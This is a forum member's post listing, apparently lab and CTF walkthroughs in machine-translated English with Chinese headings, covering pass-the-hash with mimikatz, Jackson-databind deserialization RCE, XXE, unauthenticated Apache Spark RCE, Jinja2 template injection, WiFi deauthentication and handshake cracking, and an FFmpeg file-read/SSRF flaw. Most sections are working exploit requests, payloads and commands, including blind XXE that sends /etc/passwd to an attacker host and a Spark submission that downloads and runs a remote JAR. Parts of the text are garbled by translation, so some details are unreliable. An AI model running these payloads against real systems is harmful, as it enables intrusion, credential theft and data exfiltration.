Jump to content

UKhackteam

Members
  • Joined

  • Last visited

Everything posted by UKhackteam

  1. PTH(Pass The Hash) 攻击 1 概述 After obtaining the password NTLM of the local administrator group member account of a host, there is no need to crack the password clear text. Use PTH method to inject the administrator account and NTLM into the current session as credentials. Use this credentials to penetrate and obtain the management permissions of the surrounding hosts. The other host must have the same account and be a member of the administrator group In Windows NT 5.x system, the network login of the administrator group account can obtain system management rights In Windows NT 6.x and later, network login for administrator group (SID not 500) accounts cannot obtain system management permissions, and network login for administrator (SID 500) accounts can obtain system management rights. This type of attack is suitable for: Domain/Work Group Environment You can obtain hash, but the conditions do not allow the hash to be blasted The same password exists in the intranet as the current machine 2 UAC User Account Control is a new set of infrastructure technologies in Windows Vista (and later versions of operating systems) that can help prevent malicious programs (sometimes called 'malware') from corruption of systems, while also helping organizations deploy more manageable platforms. With UAC, applications and tasks always run in the security context of non-administrator accounts, except when administrators specifically grant administrator-level access to the system. UAC prevents automatic installation of unauthorized applications from being installed, preventing unintentional changes to system settings. User Account Control (UAC) is the core security feature of the new version of Windows and one of its most often misunderstood security features. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken, UAC is determined by the above registry key value, and the default setting is 0. If set to 1, administrators with SID 500 cannot obtain high permissions through network login. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy. If there is this key value in the registry and is set to 1, all management group members can obtain high permissions through the network login. And control the value of FilterAdministratorToken in the above table entry. 3 攻击 The pth function of mimikatz requires local administrator permissions, which is determined by its implementation mechanism. Information about the high-permission process lsass.exe is required first. For 8.1/2012r2, install patch KB2871997 on Win 7/2008r2/8/2012, you can use AES keys instead of NT hash Use mimikatz to get hash: first 1 2 privilege:debug sekurlsa:logonpasswords After getting the hash 3.1 工作组 1 sekurlsa:pth /user:administrator /domain:workgroup /ntlm:ccef208c6485269c20db2cad21734fe7 Microsoft also patched pth, but in the test, it was found that after patching, the regular Pass The Hash could no longer succeed, except for the default Administrator (SID 500) account. Using this account, you can still use Pass The Hash remote IPC connection. 3.2 域内用户 The premise is: the domain user is a member of the local management group 1 sekurlsa:pth /user:eviluser /domain:adsec.com /ntlm:ccef208c6485269c20db2cad21734fe7 Users within the domain are not affected by patches. 4 KB2871997 Changes to this feature include: prevent network logon and remote interactive logon to domain-join ed machine using local accounts… After installing the KB2871997 patch, there are not many changes in other aspects. The patch will add a S-1-5-113 SID to the local account and a S-1-5-114 SID to the local account in the management group, so that it is convenient for management through domain policies, such as completely prohibiting network login for such accounts from the domain policies. 5 针对 RDP 的 hash 传递攻击 Speaking of hash pass attack (pth), I think that the general ones are psexec wce mimikatz and other direct execution commands. This section introduces a method to use mimikatz + NThash to start mstsc.exe to achieve remote login to the Windows desktop, which is of great help to environments where commands cannot be executed and passwords cannot be cracked. The principle (condition) is that remote targets need to use Restricted Admin Mode, because this mode supports kerberos authentication, you can use hash to log in. 1 sekurlsa:pth /user:user name /domain:domain name /ntlm:the user's ntlm hash /run:'mstsc.exe /restrictedadmin' If the restricted management mode is disabled, use the following command to enable it: 1 mimikatz.exe 'sekurlsa:pth /user:user name /domain:domain name /ntlm:the user's ntlm hash /run:powershell.exe' Modify the registry in the pop-up powershell window: 1 2 Enter-PSSession -Computer Target New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'DisableRestrictedAdmin' -Value '0' -PropertyType DWORD -Force 6 防御 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken, one of the system has Admin ApprovalMode. UAC is judged by the above registry key value, and the default setting is 0. If set to 1, administrators with SID 500 cannot obtain high permissions through network login.
  2. Jackson-databind 反序列化漏洞(CVE-2017-7525) Jackson-databind supports the Polymorphic Deserialization feature (not enabled by default). When there are polymorph fields in the Target class converted by json string, that is, when the field type is interface, abstract class or Object type, the attacker can instantiate the specified class by specifying the specific type of the variable (subclass or interface implementation class) in the json string. With the help of some special classes, such as TemplatesImpl, arbitrary code execution can be implemented. Therefore, the exploit conditions of this vulnerability are as follows: Turn on JacksonPolymorphicDeserialization, that is, call any of the following methods 1 2 objectMapper.enableDefaultTyping(); //default to using DefaultTyping.OBJECT_AND_NON_CONCRETE objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); Target class requires a constructor The Target class needs to have field types Interface, abstract class, and Object, and the Gadget used needs to subclass/implement interfaces for its CVE-2017-7525 When Jackson-databind sets the parameter value of the Target class member variable, if there is no corresponding getter method, it will use SetterlessProperty to call the getter method, get the variable, and then set the variable value. When the getOutputProperties() method is called, the class that translateBytecodes contains bytecode will be initialized, causing the command to be executed. For details, please refer to the instructions on TemplatesImpl in java-deserialization-jdk7u21-gadget-note. Use com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl in JDK7u21 as Gadget, send the following request, and will execute touch /tmp/prove1.txt: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two POST /exploit HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 1298 { 'param': [ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl', { 'transletBytecodes': [ 'yv66vgAAADMAKAoABAAUCQADABUHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2N hbFZhcmmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFSh MamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmp lY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3Zl MS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5h bC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAA BgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAKAAAAvAAEAAQAAAAUqtAACsAAAAAAAIACgAAAAAAYAAQAAAAOACwAAAAAWAAQAAAAAAWAAQAAAAAAAAAAAAAAA Kiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw==' ], 'transletName': 'a.b', 'outputProperties': {} } ] } This POC can only run in an environment with the target JDK7u21 or below, and other cases require replacement of Gadget. CVE-2017-17485 CVE-2017-7525 blacklist fixes bypassing, using org.springframework.context.support.FileSystemXmlApplicationContext. Taking advantage of this vulnerability, we need to create a bean file and place it on any server, such as http://evil/spel.xml, the content is as follows: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 beans xmlns='http://www.springframework.org/schema/beans' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:schemaLocation=' http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd ' bean id='pb' class='java.lang.ProcessBuilder' constructor-arg array valuetouch/value value/tmp/prove2.txt/value /array /constructor-arg property name='any' value='#{ pb.start() }'/ /bean /beans Then, send the following packets to make Jackson load the bean and trigger the vulnerability: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /exploit HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 138 { 'param': [ 'org.springframework.context.support.FileSystemXmlApplicationContext', 'http://IP/evil.xml' ] } Successfully executed touch /tmp/prove2.txt: Principle: Use FileSystemXmlApplicationContext to load the remote bean definition file, create a ProcessBuilder bean, and use Spring EL in the xml file to call the start() method to implement command execution
  3. XXE 漏洞相关 1 定义与原理 1.1 XXE 定义 XXE Vulnerability Full name XML External Entity Injection, XML external entity injection vulnerability, XXE vulnerability occurs when the application parses XML input, and does not prohibit the loading of external entities, resulting in malicious external files being loaded, causing file reading, intranet port scanning, attacking intranet websites to initiate dos attacks and other hazards. 1.2 XML 基础 1.2.1 XML 定义 Document markup language, XML document structure includes XML declaration, DTD document type definition (optional), document elements 1 2 3 4 5 6 7 8 9 10 !-- Declaration Information -- ?xml version='1.0' encoding='UTF-8' ? scores student id='s1' namehacker/name courseC++/course score95/score /student /scores 1.2.2 DTD 定义 DTD - Document Type Definition Document type definition, using DTD to define which modules are in XML documents and what contents are in modules (analogically strongly typed languages). 在 XML 文件中定义内部 DTD:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 !-- Declaration Information -- ?xml version='1.0' encoding='UTF-8' ? !-- Define internal DTD -- !DOCTYPE scores [ !ELEMENT scores (student+) !ELEMENT student (name, course, score) !ATTLIST student id CDATA #REQUIRED !ELEMENT course (#PCDATA) !ELEMENT name (#PCDATA) !ELEMENT score (#PCDATA) ] scores student id='s1' namehacker/name courseC++/course score90/score /student /scores PCDATA means parsed character data 引用外部实体:1 2 3 4 5 6 7 8 9 10 11 12 13 !-- Declaration Information -- ?xml version='1.0' encoding='UTF-8' ? !-- Quotation of external DTD -- !DOCTYPE scores SYSTEM 'scores.dtd' scores student id='s1' namehacker/name courseC++/course score90/score /student /scores scores.dtd file content: 1 2 3 4 5 6 7 8 !-- Declaration Information -- ?xml version='1.0' encoding='UTF-8' ? !ELEMENT scores (student+) !ELEMENT student (name, course, score) !ATTLIST student id CDATA #REQUIRED !ELEMENT course (#PCDATA) !ELEMENT name (#PCDATA) !ELEMENT score (#PCDATA) 2 XML 实体注入 In DTD, entities (analogous to constants in programming languages) can be defined. The defined entities can be referenced in xml. After parsing by the XML parser, the entities will be replaced with the defined text content. The format of the reference entity is: entity name; When an external entity is referenced, there may be some problems. The following code is an example of referencing an external entity: 1 2 3 4 5 ?xml version='1.0'? !DOCTYPE demo[ !ENTITY content SYSTEM 'file:///etc/password' ] democontent;/demo Therefore, the XML vulnerability is mainly due to the characteristics of external entities that can parse external files. Parameter Entity: Parameter entities are only used in DTD and internal subsets of documents. In the specification definition of XML, parameter entities can only be referenced in DTD. The declaration and reference of parameter entities are all signed by a percent. And the reference to the parameter entity is understood and parsed in DTD, and the replacement text will become part of the DTD. Entities of this type are in the "%" character (or % encoded in hexadecimal). Parameter entities can only be used in DTD. 1 2 3 4 5 6 7 8 9 ?xml version='1.0'? !DOCTYPE root[ !ELEMENT root (message) !ENTITY % param1 '!ENTITY internal 'http://xxx.com'' %param1; ] root messageinternal;/message /root Parameter entities are often used in XXEs without echo. 3 XXE 危害 3.1 读取任意文件 3.1.1 有回现 Take the shooting range on vulhub as an example: payload: 1 2 3 4 5 6 7 ?xml version='1.0' encoding='utf-8'? !DOCTYPE root [ !ELEMENT name ANY !ENTITY data SYSTEM 'file:///etc/passwd'] root namedata;/name /root The principle of blind xxe is very simple, which is to establish an out-of-band channel to extract data, use the URL in the external entity to issue access, and use the attacker's public network host to receive data, thereby achieving data reading. The attacker sent a payload to the server with XXE vulnerability. The function of this payload is to find a file native to the server, and then request a URL request from the attacker's server to obtain the malicious DTD content. When the server with the vulnerability reads the content of the DTD to pass the content of the local file he found as a parameter to the php file of the attacker's server. The php file saves the obtained parameter locally, thus obtaining the echoed content. payload: 1 2 3 4 5 6 7 8 9 10 ?xml version='1.0' encoding='utf-8'? !DOCTYPE foo [ !ELEMENT foo ANY !ENTITY % evil SYSTEM 'file:///etc/passwd' !-- Or read in pseudo-protocol encoding php://filter/read=convert.base64-encode/resource=conf.php -- !ENTITY % xxe SYSTEM 'http://IP/dtd.xml' %xxe; %all; ] footend;/foo dtd.xml 1 !ENTITY % all '!ENTITY send SYSTEM 'http://IP/receive.php?p=%evil;'' In the internal DTD, the parameter entity reference can only be of the same level as the element and cannot appear directly inside the element declaration. Otherwise, the parser will report an error: PEReferences forbidden in internal subset. 3.1.2 无回显 Need to install the expected extension 1 2 3 4 5 6 7 ?xml version='1.0' encoding='utf-8'? !DOCTYPE xxe [ !ELEMENT name ANY !ENTITY xxe SYSTEM 'expect://id'] xxe namexxe;/name /xxe 3.2 执行命令 1 2 3 4 5 6 7 ?xml version='1.0' encoding='utf-8'? !DOCTYPE xxe [ !ELEMENT name ANY !ENTITY xxe SYSTEM 'file:///dev/random'] xxe namexxe;/name /xxe 3.3 拒绝服务攻击 4 CTF 题目 http://web.jarvisoj.com:9882 Title description: Please obtain the content under /home/ctf/flag.txt Visit the web, click Go, and catch the request package in burpsuite 1 2 3 4 5 6 7 8 9 10 11 12 13 POST /api/v1.0/try HTTP/1.1 Host: web.jarvisoj.com:9882 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 36 Origin: http://web.jarvisoj.com:9882 Connection: close Referer: http://web.jarvisoj.com:9882/ {'search':'type sth!','value':'own'} Change Content-Type to application/xml and submit poc: 4.1 DEMO 1 Source code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 ?php function __autoload($cls) { include $cls; } class Black { public function __construct($string, $default, $keyword, $store) { if ($string) ini_set('highlight.string', '#0d0d0d'); if ($default) ini_set('highlight.default', '#0d0d0d'); if ($keyword) ini_set('highlight.keyword', '#0d0d0d'); if ($store) { setcookie('theme', 'Black-'.$string.'-'.$default.'-'.$keyword, 0, '/'); } } } class Green { public function __construct($string, $default, $keyword, $store) { if ($string) ini_set('highlight.string', '#00fb00'); if ($default) ini_set('highlight.default', '#00fb00'); if ($keyword) ini_set('highlight.keyword', '#00fb00'); if ($store) { setcookie('theme', 'Green-'.$string.'-'.$default.'-'.$keyword, 0, '/'); } } } if ($_=@$_GET['theme']) { if (in_array($_, ['Black', 'Green'])) { if (@class_exists($_)) { ($string=@$_GET['string']) || $string=false; ($default=@$_GET['default']) || $default=false; ($keyword=@$_GET['keyword']) || $keyword=false; new $_($string, $default, $keyword, @$_GET['store']); } } } else if ($_=@$_COOKIE['theme']) { $args=exploit('-', $_); if (class_exists($args[0])) { new $args[0]($args[1], $args[2], $args[3], ''); } } else if ($_=@$_GET['info']) { phpinfo(); } highlight_file(__FILE__); It can be seen that the place where the topic class is loaded according to the cookie is not judged whether the cookie has been tampered with, resulting in us being able to instantiate any class new $args[0]($args[1], $args[2], $args[3], ''); Look for built-in php native class, and the instantiation parameters of this class must correspond to $args[0]($args[1], $args[2], $args[3], ''), and the class SimpleXMLElement meets the above requirements. Therefore, the /flag.php file can be read through Blind XXE payload: Cookie:theme=SimpleXMLElement-http://ip/xxe.xml-2-true Remote xxe.xml 1 2 3 4 5 6 7 8 ?xml version='1.0' encoding='utf-8'? !DOCTYPE foo [ !ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=file:///flag' !ENTITY % remote SYSTEM 'http://IP/xxe.dtd' %remote; %all; ] footend;/foo xxe.dtd 1 !ENTITY % all '!ENTITY send SYSTEM 'http://IP/receive.php?file=%file;'' 4.2 DEMO 2 Methods for disabling external entities provided by the development language PHP libxml version is lower than 2.9.1 and is enabled by default 1 2 3 ?php libxml_disable_entity_loader (false); ? Filters user-submitted XML data, such as keywords SYSTEM, PUBLIC, etc.
  4. Apache Spark 未授权访问漏洞 Apache Spark is a cluster computing system that supports users to submit applications to management nodes and distribute them to cluster execution. If the management node does not start ACL (Access Control), we will be able to execute arbitrary code in the cluster. 漏洞环境 Execute the following command to start an Apache Spark cluster in standalone mode, with a master and a slave in the cluster: 1 docker-compose up -d After the environment is started, visit http://your-ip:8080 to see the master's management page, and visit http://your-ip:8081 to see the slave's management page. 漏洞利用 The essence of this vulnerability is that an unauthorized user can submit an application to the management node, which is actually malicious code. There are two ways to submit: Leverage REST API Leverage submissions gateway (integrated in port 7077) The application can be Java or Python, which is the simplest class 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 import java.io.BufferedReader; import java.io.InputStreamReader; public class Exploit { public static void main(String[] args) throws Exception { String[] cmds=args[0].split(','); for (String cmd : cmds) { System.out.println(cmd); System.out.println(executeCommand(cmd.trim())); System.out.println('=============================================='); } } //https://www.mkyong.com/java/how-to-execute-shell-command-from-java/ private static String executeCommand(String command) { StringBuilder output=new StringBuilder(); try { Process p=Runtime.getRuntime().exec(command); p.waitFor(); BufferedReader reader=new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line=reader.readLine()) !=null) { output.append(line).append('\n'); } } catch (Exception e) { e.printStackTrace(); } return output.toString(); } } Compile it into a JAR and place it on either HTTP or FTP : 1 https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar In standalone mode, master will start an HTTP server on port 6066, and we submit a REST format API to this port: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 POST /v1/submissions/create HTTP/1.1 Host: your-ip:6066 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/json Connection: close Content-Length: 680 { 'action': 'CreateSubmissionRequest', 'clientSparkVersion': '2.3.1', 'appArgs': [ 'whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf' ], 'appResource': 'https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar', 'environmentVariables': { 'SPARK_ENV_LOADED': '1' }, 'mainClass': 'Exploit', 'sparkProperties': { 'spark.jars': 'https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar', 'spark.driver.supervise': 'false', 'spark.app.name': 'Exploit', 'spark.eventLog.enabled': 'true', 'spark.submit.deployMode': 'cluster', 'spark.master': 'spark://your-ip:6066' } } Among them, spark.jars is the compiled application, mainClass is the class to be run, and appArgs is the parameter passed to the application. The returned package has submissionId, and then visit http://your-ip:8081/logPage/?driverId={submissionId}logType=stdout to view the execution result: Note that the application is submitted in the master, and the viewing result is in the slave where the application is executed (default port 8081). In actual combat, there may be multiple slaves. 用 REST API 方式提交应用: If the 6066 port cannot be accessed or permission control is done, we can use the master's main port 7077 to submit the application. The method is to use the script bin/spark-submit that comes with Apache Spark: 1 bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id If the master parameter you specify is rest server, this script will first try to submit the application using rest api; if it is found that it is not rest server, it will downgrade to using submission gateway to submit the application. The way you view the results is consistent with the previous one.
  5. Flask(Jinja2) 服务端模板注入漏洞 原理 参考文章 https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates 漏洞复现 Visit http://your-ip/?name={{233*233}} and get 54289, indicating that the SSTI vulnerability exists. Get the POC of the eval function and execute arbitrary python code: 1 2 3 4 5 6 7 8 9 10 11 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__=={}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__('os').popen('id').read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} Visit http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%20%27catch_warnings%2 7%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20 %20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D% 0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D, get the execution result:
  6. WIFI 密码破解 1 原理 By sending a disconnect request, all devices connected to the target WIFI are disconnected. The device will reconnect and then listen for the handshake package when one of the devices establishes a connection with the WIFI, which contains the password ciphertext, and then use aircrack-ng to crack offline. 2 步骤 2.1 扫描附近 SSID 1 2 3 4 Execute the command to get the nearby SSID sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s After setting the shortcut key, it becomes: airport -s 2.2 抓握手包 information Aircrack-ng needs to be installed first under mac brew install aircrack-ng 1 airport en0 sniff channel After waiting for a while, CTRL+C ends listening Check whether the handshake bag is caught in this package (whether it contains password information): 1 sudo aircrack-ng /tmp/airportSniffTRT4xj.cap Note: Because more than one WIFI signal may be used on the same channel, multiple WIFIs will be detected. 2.3 DeAuth 泛洪攻击 1 2 sudo aireplay-ng -0 0 -a WIFI physical address -c User equipment physical address wlan0mon Parameter -0 3 means sending 3 times, and -0 0 means sending continuously. Without adding the -c parameter, it means disconnecting all clients. 2.4 破解握手密码包 1 sudo aircrack-ng /tmp/airportSniffTRT4xj.cap -w dictionary path
  7. ffmpeg 任意文件读取漏洞/SSRF漏洞 (CVE-2016-1897/CVE-2016-1898) In FFMpeg2.X Due to improper handling of HTTP Live Streaming streaming m3u8 files, it can lead to SSRF vulnerabilities with arbitrary file reading vulnerabilities. This vulnerability is triggered when a website allows users to upload multimedia files and process them using FFMpeg. This vulnerability has two CVE numbers, namely CVE-2016-1897 and CVE-2016-1898. The difference between them is the number of lines to read the file. CVE-2016-1897 can only read the first line of the file, while CVE-2016-1898 can read any line of the file. The principle is basically the same, so let's analyze it together here. HLS(HTTP Live Streaming) Since the vulnerability occurs when parsing HLS streaming files, we must first understand HLS. HLS (HTTP Live Streaming) is a streaming communication protocol based on the HTTP protocol developed by Apple. Most of them are used on PCs and iPhones. Its basic principle is to divide a video stream into many small, small, and small ts stream files, and then download it through HTTP, downloading a little bit at a time. When starting a new streaming session, the client will first download an m3u8 (playlist Playlist) file, which contains all the data of this HLS session. http://pl.youku.com/playlist/m3u8?vid=340270152type=3gphdts=1462714824keyframe=0ep=dSaSGE6MUssC5ybeiz8bYiXiIiZdXP0O9h2CgdNnAtQnS%2Bm2sid=746271452251312590fabtoken=3319ctype=12ev=1oip=3395898128 This is the m3u8 file of a video for youku, the content is as follows: #EXTM3U #EXT-X-TARGETDURATION:6 #EXT-X-VERSION:2 #EXTINF:6, http://183.60.145.83/69777D60D183E7FE8D0BC25A4/030002010056208D059E4E15049976CD642E01-C8E5-706F-DC6D-375DE0DA5A1E.flv.ts?ts_start=0ts_end=5.9ts_seg_no=0ts_keyframe=1 #EXTINF:0, http://183.60.145.83/69777D60D183E7FE8D0BC25A4/030002010056208D059E4E15049976CD642E01-C8E5-706F-DC6D-375DE0DA5A1E.flv.ts?ts_start=5.9ts_end=6.367ts_seg_no=1ts_keyframe=1 #EXT-X-ENDLIST Analysis: The #EXTM3U tag is the file header of m3u8, and this line must be used at the beginning. #EXT-X-TARGETDURATION indicates the length of the entire media. Here is 6 seconds #EXT-X-VERSION:2 This tag is optional #EXTINF:6, indicates the length of this TS stream file #EXT-X-ENDLIST This is equivalent to the end of the file These are the most basic tags of m3u8, and the problem lies in the fact that when FFMpeg requests TS stream files, since we can forge an m3u8 file, FFMpeg will not judge the stream address inside and directly request it. 漏洞原理 SSRF vulnerability: Directly use FFMpeg to parse a multimedia file #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0,http://192.168.123.100:8080/1.html #EXT-X-ENDLIST (No one must exist for #EXT-X-MEDIA-SEQUENCE or #EXT-X-TARGETDURATION. The former is the serial number of the ts stream file. If you remove it, you will report an error: invalid file) ffmpeg -i test.m3u8 test.mp4 (can also change the m3u8 format to other suffixes, ffmpeg will automatically be recognized as an HLS stream file) The following ways can read file : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #EXTM3U #EXT-X-TARGETDURATION:1 #EXTINF:1, /home/ctf/flag.txt #EXT-X-ENDLIST #EXTM3U #EXT-X-PLAYLIST-TYPE:VOD #EXT-X-TARGETDURATION:1 #EXT-X-VERSION:3 #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, file:///home/ctf/flag.txt #EXT-X-ENDLIST
  8. This is a cross-post from DEVCORE. The research was first published at Black Hat Europe 2024. Personally, I would like to thank splitline, the co-author of this research article, whose help and idea were invaluable. Please also give him a big shout-out! TL;DR The research unveils a new attack surface in Windows by exploitingBest-Fit, an internal charset conversion feature. Through our work, we successfully transformed this feature into several practical attacks, including Path Traversal, Argument Injection, and even RCE, affecting numerous well-known applications! Given that the root cause spas compiler behavior, C/C++ runtime and developer’s mistakes, we also discussed the challenges of pushing fixes within the open-source ecosystem. Get the latest update and slides on our website! → https://worst.fit/ Let’s imagine that: you’re a pentester, and your target website is running the following code. Can you pop a calc.exe with that? 123?php $url='https://example.tld/' . $_GET['path'] . '.txt'; system('wget.exe -q ' . escapeshellarg($url));You can have a quick try on your own. The PHP code uses a secure way to spawn the command. Looks a bit hard, right? Well, today, we would like to present a new technique to break through it! Outline Outline Decoding the Windows EncodingsThe Early Days: ANSI and Code Pages The Unicode Era: UTF-16 The Dual Era of Encoding It was the Best of Fit It was the Worst of Fit – The novel attack surface on Windows The nightmare of East-Asia - CVE-2024-4577 Filename Smuggling Argument Splitting Environment Variable Confusion The Dusk–or Dawn–of the WorstFit EpilogueMitigations Conclusion Decoding the Windows Encodings If you are a Windows user, you’re probably aware that the Windows operating system supports Unicode. This means we can seamlessly put emojis , áccènted letters, 𝒻𝒶𝓃𝒸𝓎 𝕤𝕪𝕞𝕓𝕠𝕝𝕤 and CJK 号号号号号ㄒヨ方pretty much much anywhere — like file names, file contents, or even environment variables. But have you ever wondered how Windows managements to handle those non-ASCII characters? Well, to describe this, let’s dive into the history of encoding in Windows first to understand how it handles. The Early Days: ANSI and Code Pages Code PageLanguage1250 Central/Eastern European languages (e.g. Polish, Czech) 1251 Cyrillic-based languages (e.g. Russian, Bulgarian) 1252 Western European languages (e.g. English, German, French) 1253 Greek 1254 Turkish 1255 Hebrew 1256 Arabic 1257 Baltic languages (e.g. Estonian, Latvian, Lithuanian) 1258 Vietnamese 932 Japanese 936 Simplified Chinese 949 Korean 950 Traditional Chinese 874 Thai Windows initially used ANSI encoding, which relied on code pages such as the one shown above. It used 8 to 16 bits to represent a single character. While these mappings were effective for certain languages, they were unable to accommodate mixed or universal character sets. For instance, back in the day, as a Taiwanese, if my Japanese friend sent me an article written on their Windows computer, I’d probably end up with a scrambled mess of mojibake because my code page 950 system could’t properly interpret the Japanese 932 code page. To handle different encoding needs, Windows doesn’t rely on just one type of code page — there are actually two: ACP(ANSI Code Page): Used for most applications and system settings, such as file operations or managing environment variables. Our research here primarily focuses on this type of code page, as it significantly impacts the scenarios we’ll exam. OEMCP(Original Equipment Manufacturer Code Page): Mainly used for device communication, such as reading or writing to the console. To check which ACP (ANSI code page) you’re using, consider these methods: Using PowerShell1powershell.exe [Console]:OutputEncoding.WindowsCodePage From the Registry1reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage /v ACP Additionally, you might also hear of chcp. However, be aware that chcp displays theOEMCPrather than the ACP, which is the focus of our research here. The Unicode Era: UTF-16 To address the limitations of code pages, Windows transitioned to Unicode in the mid-1990s. Unlike code pages, Unicode could represent characters from nearly all languages in a single standard. Initially, Windows used UCS-2 for Unicode but soon upgraded toUTF-16, which uses 16 bits for most characters and expands to 32 bits for rarer ones (e.g. emojis, ancient scripts). Windows also switched towide charactersfor core APIs like file systems, system information, and text processing. Now you might be wondering: Hey, what about the most popular Unicode encoding nowadays:UTF-8? Well, it’s already there, but still in a sort of beta phase. For most languages, the UTF-8 feature sadly isn’t enabled by default. The Dual Era of Encoding Even though Unicode became the backbone of Windows, Windows still needs to do what they always do: backward compatible. They still need to support the old ANSI code pages. To achieve this, Windows implemented two different versions of APIs: ANSI APIs: A Windows code page version with the letter “A” postfix used to indicate “ANSI”. For example, GetEnvironmentVariableA function. Unicode APIs: A Unicode version with the letter “W” postfix used to indicate “wide (character)”. For example, GetEnvironmentVariableW function. This approach allows 